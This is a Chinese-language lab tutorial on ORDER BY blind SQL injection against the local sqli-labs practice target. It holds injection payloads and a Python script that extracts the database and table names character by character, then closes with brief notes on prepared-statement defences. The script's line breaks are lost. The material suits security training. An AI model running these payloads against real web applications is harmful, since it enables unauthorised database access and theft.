一、环境
还是用上次搭建的sql-labs靶机环境
搭建sql注入环境
二、什么是order by盲注
在有的时候我们进行sql注入时,源码的查询语句后面为order by;
众所周知,order by 后面接的字段或者数字不一样,那么这个数据表的排序就会不同;
我们恰恰就可以利用这点来进行注入,
对查询的数据的每个字符的ascii码进行比较判断(其判断返回值只会为True(真)和False(假)),
将其返回值的放入rand()函数中 对数据表进行排序,
当显示出现变化时则可以判断出我们所要数据的字符,在对其进行拼接即可,
对此盲注方法我们采用脚本来快速实现
三、实现
环境为sql-labs靶机的第46关
查看源码得知要让我们选择字段进行排序
以1(id)、2(username)、3(password)字段为例,查看效果
可以看到不同字段的顺序是不同的,根据这个原理,我们可以通过上面我说的用rand()实现一个盲注,效果如下
?sort=rand(ascii(substr((select database()),1,1))>114)
显然,转为ASCII码来比较真假,为真时第一列为admin3,为假时第一列为Dumb,那么根据此现象,我们就可以对其写一个脚本,帮助我们快速实现注入
我们通过第一个用户字段进行爬取判断,为真时是admin3
编写一份爆库名和表名的注入脚本(注释在里面)
import requests
import time
from bs4 import BeautifulSoup"""
查表名
查列名
查具体字段内容
if(ascii(substr(database(),1,1))>100,%20sleep(3),%200)--+
if(ascii(substr(database(),1,1))>110, sleep(3), 0)
"""def inject_database(url):"""使用二分法查询 aaaaaaaaaaaaaaaaaaaa"""name = ''for i in range(1, 50):low = 32high = 128mid = (low + high) // 2while low < high:# 爆库名payload = "rand(ascii(substr((select database()),%d,1))>%d)" % (i, mid)# 爆表名# payload = "rand(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema = database()), %d, 1))>%d)" % (i, mid)# 将payload作为参数传递给请求params = {"sort": payload}# start_time = time.time()# 发送一个GET请求到指定的URL,带上构造好的参数r = requests.get(url, params=params)# 获取请求得到的HTML响应内容html = r.text# 使用BeautifulSoup解析HTML内容soup = BeautifulSoup(html, 'html.parser')# 从HTML中找到第二个<td>标签,并获取其文本内容,这似乎是用来获取用户名getusername = soup.find_all('td')[1].text# end_time = time.time()# 检查获取的用户名是否为'admin3',如果是,则更新low的值if getusername == 'admin3':low = mid + 1# 如果获取的用户名不是'admin3',则更新high的值else:high = mid# 更新中间值,继续二分查找mid = (low + high) // 2if mid == 32:break# 将找到的字符添加到name中name += chr(mid)# 打印出当前已经找到的数据库名称print(name)if __name__ == "__main__":url = 'http://127.0.0.1/sqli-labs-php7-master/Less-46/'inject_database(url)
先爆库名:security
再爆表名:emails,referers,uagents,users
我们爆出了4张表,很明显users表是很重要的一张,后续想要什么数据即可根据需求修改脚本中的payload即可
四、如何防御
防御机制:
PDO预编译:
模拟编译:
PHP的底层把单引号自动转译,但是遇见宽字节会失效,但是遇见真实的预编译这里就不会失效,
真实编译:
如果在预编译的形势下,还是用拼接传递参数,那么预编译不会生效,order by后面本身会存在注入点,但是预编译情况下,没有办法在order by后面实现预编译,如果想功能正常,还是得用拼接的方法去使用,这种情况下也有可能实现sql注入